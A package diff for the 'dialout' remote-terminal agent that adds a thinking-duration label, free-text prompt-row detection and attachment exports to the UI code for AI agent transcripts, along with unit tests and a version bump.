@@ -62,7 +62,7 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
|
|
|
62
62
|
}
|
|
63
63
|
|
|
64
64
|
if (e.kind === 'thinking') {
|
|
65
|
-
blocks.push({ kind: 'thinking', key, text: e.text || '' });
|
|
65
|
+
blocks.push({ kind: 'thinking', key, text: e.text || '', ms: e.ms });
|
|
66
66
|
return;
|
|
67
67
|
}
|
|
68
68
|
|
|
@@ -7,7 +7,11 @@ export type AiEvent =
|
|
|
7
7
|
| { kind: 'message'; role: 'user' | 'assistant'; text: string; id?: string; at?: string }
|
|
8
8
|
| { kind: 'tool_call'; name: string; summary: string; input?: unknown; id?: string; at?: string }
|
|
9
9
|
| { kind: 'tool_result'; forId: string; ok: boolean; preview: string; at?: string }
|
|
10
|
-
|
|
10
|
+
// `text` is empty when the vendor kept the reasoning out of the transcript
|
|
11
|
+
// (Claude Code's adaptive thinking strips it and leaves only a signature),
|
|
12
|
+
// and `ms` is how long it spent. One of the two is always worth showing:
|
|
13
|
+
// the words if they survived, otherwise that it thought and for how long.
|
|
14
|
+
| { kind: 'thinking'; text: string; ms?: number; id?: string; at?: string }
|
|
11
15
|
| { kind: 'state'; status: AiStatus; at?: string };
|
|
12
16
|
|
|
13
17
|
export interface AiAdapter {
|
|
@@ -41,5 +41,12 @@ export {
|
|
|
41
41
|
export type { TranscriptState, EventsMeta } from './event-merge';
|
|
42
42
|
export { EMPTY_TRANSCRIPT, mergeEvents } from './event-merge';
|
|
43
43
|
|
|
44
|
+
export { thinkingDuration, thinkingLabel } from './thinking';
|
|
44
45
|
export type { PanePrompt, PanePromptOption, PromptKey } from './pane-prompt';
|
|
45
|
-
export { PROMPT_KEYS, detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
|
|
46
|
+
export { PROMPT_KEYS, detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
|
|
47
|
+
|
|
48
|
+
export type { AttachmentRef } from './attachments';
|
|
49
|
+
export {
|
|
50
|
+
ATTACHMENT_DIR, ATTACHMENT_MAX_BYTES, ATTACHMENT_MAX_FILES,
|
|
51
|
+
composeWithAttachments, isImageName, safeAttachmentName, splitAttachments,
|
|
52
|
+
} from './attachments';
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { describe, expect, it } from 'vitest';
|
|
2
|
-
import { detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
|
|
2
|
+
import { detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
|
|
3
3
|
|
|
4
4
|
// Shapes as the CLIs draw them (spacing kept), plus the noise around them.
|
|
5
5
|
const CLAUDE_BASH = `
|
|
@@ -177,3 +177,25 @@ describe('promptKeys', () => {
|
|
|
177
177
|
expect(isSafeKeyList('Enter')).toBe(false);
|
|
178
178
|
});
|
|
179
179
|
});
|
|
180
|
+
|
|
181
|
+
describe('free-text rows', () => {
|
|
182
|
+
it('knows which rows want typing, and moves there without choosing', () => {
|
|
183
|
+
expect(isFreeTextOption('Type something.')).toBe(true);
|
|
184
|
+
expect(isFreeTextOption('Other')).toBe(true);
|
|
185
|
+
expect(isFreeTextOption('No, and tell Claude what to do differently (esc)')).toBe(false);
|
|
186
|
+
expect(isFreeTextOption('Yes')).toBe(false);
|
|
187
|
+
const p = detectPanePrompt(CLAUDE_QUESTION)!;
|
|
188
|
+
expect(promptMoveKeys(p, 3)).toEqual(['Down', 'Down']);
|
|
189
|
+
expect(promptMoveKeys(p, 1)).toEqual([]);
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
it('finds the row that wants typing, and stops once it holds text', () => {
|
|
193
|
+
const p = detectPanePrompt(CLAUDE_QUESTION)!;
|
|
194
|
+
expect(freeTextRow(p)).toBe(3);
|
|
195
|
+
// The TUI echoes what is typed in place of the label; the row is then
|
|
196
|
+
// mid-answer, not an empty invitation, so the card must not reopen on it.
|
|
197
|
+
const typed = detectPanePrompt(CLAUDE_QUESTION.replace('3. Type something.', '3. Teal like the sea'))!;
|
|
198
|
+
expect(freeTextRow(typed)).toBe(0);
|
|
199
|
+
expect(freeTextRow(detectPanePrompt(CLAUDE_BASH)!)).toBe(0);
|
|
200
|
+
});
|
|
201
|
+
});
|
|
@@ -216,3 +216,30 @@ export function promptKeys(p: PanePrompt, n: number): string[] {
|
|
|
216
216
|
const move = to > from ? Array(to - from).fill('Down') : Array(from - to).fill('Up');
|
|
217
217
|
return [...move, 'Enter'];
|
|
218
218
|
}
|
|
219
|
+
|
|
220
|
+
/**
|
|
221
|
+
* A row that takes typed text rather than being an answer itself: Claude
|
|
222
|
+
* Code's "Type something." / an "Other" row. Picking it with Enter answers
|
|
223
|
+
* with nothing, so the card asks for the text first.
|
|
224
|
+
*/
|
|
225
|
+
export function isFreeTextOption(label: string): boolean {
|
|
226
|
+
return /^(type something|type your own|other|something else)\.?(\s*\(.*\))?$/i.test(label.trim());
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
/**
|
|
230
|
+
* Keys that put the cursor on row `n` without choosing it. For a free-text
|
|
231
|
+
* row: move there, then the text is typed and Enter pressed (as one message).
|
|
232
|
+
*/
|
|
233
|
+
export function promptMoveKeys(p: PanePrompt, n: number): string[] {
|
|
234
|
+
return promptKeys(p, n).slice(0, -1);
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
/**
|
|
238
|
+
* The free-text row's number, or 0 if the menu has none. A TUI echoes what is
|
|
239
|
+
* typed in place of that row's label, so a row that already holds text no
|
|
240
|
+
* longer matches — which is correct: it is mid-answer, not an empty invitation.
|
|
241
|
+
*/
|
|
242
|
+
export function freeTextRow(p: PanePrompt): number {
|
|
243
|
+
const row = p.options.find((o) => o.checked === null && isFreeTextOption(o.label));
|
|
244
|
+
return row ? row.n : 0;
|
|
245
|
+
}
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
import { describe, expect, it } from 'vitest';
|
|
2
|
+
import { thinkingDuration, thinkingLabel } from './thinking';
|
|
3
|
+
|
|
4
|
+
describe('thinkingDuration', () => {
|
|
5
|
+
it('reads like a stopwatch at every scale', () => {
|
|
6
|
+
expect(thinkingDuration(490)).toBe('490ms');
|
|
7
|
+
expect(thinkingDuration(1422)).toBe('1.4s');
|
|
8
|
+
expect(thinkingDuration(12252)).toBe('12s');
|
|
9
|
+
expect(thinkingDuration(59_400)).toBe('59s');
|
|
10
|
+
expect(thinkingDuration(60_000)).toBe('1m');
|
|
11
|
+
expect(thinkingDuration(125_000)).toBe('2m 5s');
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it('says nothing rather than "0s" when there is no duration to report', () => {
|
|
15
|
+
expect(thinkingDuration(0)).toBe('');
|
|
16
|
+
expect(thinkingDuration(-5)).toBe('');
|
|
17
|
+
expect(thinkingDuration(NaN)).toBe('');
|
|
18
|
+
expect(thinkingDuration(Infinity)).toBe('');
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
describe('thinkingLabel', () => {
|
|
23
|
+
it('names the duration when the vendor gave one', () => {
|
|
24
|
+
expect(thinkingLabel(1422)).toBe('Thought for 1.4s');
|
|
25
|
+
expect(thinkingLabel(12252)).toBe('Thought for 12s');
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
it('falls back to the vague wording, never a bare "thinking…"', () => {
|
|
29
|
+
expect(thinkingLabel(undefined)).toBe('Thought for a moment');
|
|
30
|
+
expect(thinkingLabel(0)).toBe('Thought for a moment');
|
|
31
|
+
});
|
|
32
|
+
});
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
// How a spell of reasoning is labelled in the transcript.
|
|
2
|
+
//
|
|
3
|
+
// Most of it never reaches us. Claude Code runs adaptive thinking with a
|
|
4
|
+
// `clear_thinking_20251015` context edit, which strips the words out of the
|
|
5
|
+
// persisted history and leaves a signed, empty block behind — measured at 515
|
|
6
|
+
// of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
|
|
7
|
+
// So a thinking row usually has no words to show, only the fact that it
|
|
8
|
+
// happened and `thinkingDurationMs` saying how long for. That is worth
|
|
9
|
+
// showing: it is the difference between an agent that is stuck and one that is
|
|
10
|
+
// thinking hard.
|
|
11
|
+
|
|
12
|
+
/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
|
|
13
|
+
export function thinkingDuration(ms: number): string {
|
|
14
|
+
if (!Number.isFinite(ms) || ms <= 0) return '';
|
|
15
|
+
if (ms < 1000) return `${Math.round(ms)}ms`;
|
|
16
|
+
const s = ms / 1000;
|
|
17
|
+
if (s < 10) return `${s.toFixed(1)}s`;
|
|
18
|
+
if (s < 60) return `${Math.round(s)}s`;
|
|
19
|
+
const m = Math.floor(s / 60);
|
|
20
|
+
const rest = Math.round(s % 60);
|
|
21
|
+
return rest ? `${m}m ${rest}s` : `${m}m`;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* The label for a thinking row. "Thought for 1.4s" when the vendor said how
|
|
26
|
+
* long, and the vaguer wording only when it did not — never a bare
|
|
27
|
+
* "thinking…", which read as though something were still in flight.
|
|
28
|
+
*/
|
|
29
|
+
export function thinkingLabel(ms?: number): string {
|
|
30
|
+
const d = ms == null ? '' : thinkingDuration(ms);
|
|
31
|
+
return d ? `Thought for ${d}` : 'Thought for a moment';
|
|
32
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@indianic/dialout",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.11.0",
|
|
4
4
|
"description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"dialout": "./bin/devdash-agent.js"
|